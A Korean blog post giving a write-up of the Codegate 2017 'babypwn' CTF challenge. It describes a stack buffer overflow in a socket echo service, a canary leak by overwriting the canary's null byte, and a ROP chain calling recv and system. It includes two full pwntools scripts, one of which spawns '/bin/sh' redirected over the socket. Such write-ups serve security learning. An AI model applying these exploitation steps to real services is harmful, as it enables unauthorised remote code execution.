티스토리 뷰




[Codegate 2017] babypwn write-up


코드게이트 본선에 가고싶다..

열심히 준비해서 꼭 본선진출하면 좋겠다.


babypwn을 풀면서 소켓 payload 짜는 데 도움이 된 것 같다.


아직 잘 모르겠다 코드게이트2018에서 문제를 풀 수 있을지.


그래도 최선을 다해 준비해야겠다.


먼저 바이너리는 인터넷 상에서 구했다.


파일을 실행하면,

\

이러한 내용이 출력 된다.


1은 echo이고

2는 reverse echo를 해주는 프로그램입이다


3을 입력하면 종료다.



file


elf 32bit이다.


분석




메인 함수이다.


포트가 8181이다.


소켓프로그래밍이 되어있다.


빠르게 취약점을 찾아보겠다.


first_8048B87 함수를 보겠다.


밑에


함수 3개를 쫘르륵 호출을 하는데


그중에서 두번째가 의심스러워 may로 rename했다.


may함수이다  프로그램을 실행시켰을때와 같은 내용들이 있다.


여기서 bof취약점을 쉽게 찾을 수 있었다.


먼저

v2는 ebp-0x34에 있는데

0x64만큼 입력을 받을 수 있으니 bof가 발생한다.


이를 이용해서 ret값을 조작해 원하는 행동을 할 수 있다.


checksec


취약점을 찾았으니 payload를 짜기전에 어떠한 보호기법이 걸려있는지 확인 해보겠다.



NX와 CANARY 활성화되어있다.


NX가 활성화 되어있기 때문에 쉘코드를 사용하지 못한다.

따라서 ROP로 풀어야 한다.


CANARY가 활성화 되어있는데, BOF로 leak해주면 된다.


CANARY leak


ret을 조작하기 위해서 canary를 우회해야한다.

v3가 카나리인데

v3의 위치가 ebp-0xc이다.

0xc = 12 , ebp-12


v2의 위치는 ebp-0x34이니

0x34 = 52, ebp-52


입력을 40개 받으면 카나리 인것을 알 수 있다.


하지만 카나리의 첫 바이트는 널 \x00이기 때문에 40개 입력받으면 카나리를 leak하지 못한다.


\x00을 만나면 문자열의 끝인 줄 아니까.

그래서 41까지 입력을 하고 \x00 + 나머지 3바이트 로 leak을 할 수 있다.


아래는 leak.py이다


leak.py


1

2

3

4

5

6

7

8

9

10

11

12

13

from pwn import *

s = remote('localhost',8181)

print s.recvuntil("menu >")

s.send('1\n')

s.recvuntil(": ")

pay = "A"*41

s.send(pay)

print hexdump(s.recv(1024))

cs



따라서 0xea5ce000 이 canary임을 알 수 있다.


시나리오


소켓 통신이기에 recv로 bss영역에 cmd를 적어놓고

심볼에 system_plt가 있기 때문에 바로 쓰면 된다.


따라서 recv_plt | ppppr | 4(소켓 디스크립터)| .bss | len(cmd) | system_plt | dummy | .bss


하면 될 것 같다. 아래는 exploit 코드이다.


exploit.py



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

from pwn import *

s= remote('localhost',8181)

canary = 0xea5ce000

bss = 0x0804b1b4

ppppr = 0x08048eec

recv = 0x080486e0

system = 0x08048620

shell = '/bin/sh>&4 <&4'

print s.recvuntil("Select menu > ")

s.sendline("1")

pay = "A"*40

pay += p32(canary)

pay += "A"*12

#ret

pay += p32(recv)

pay += p32(ppppr)

pay += p32(4)

pay += p32(bss)

pay += p32(len(shell)+1)

pay += p32(0)

#system

pay += p32(system)

pay += "AAAA"

pay += p32(bss)

s.sendlineafter(': ',pay)

s.sendlineafter('> ','3') #after exit(), send cmd

s.sendline(shell)

s.interactive()

Colored by Color Scripter

cs



쉘을 얻었다. 코게 본선에 가고싶다..

'pwnable > CTF write-up' 카테고리의 다른 글

[trustealth]easy write-up  (0) 2018.05.13
[CSAW2013] Exploitation-1 write-up  (0) 2018.05.12
[Codegate 2018] betting write-up  (0) 2018.05.12
[Plaid CTF] ropasaurusrex write-up  (0) 2018.01.29
[Defcon CTF 2015 예선]babycmd write-up  (0) 2018.01.26
Comments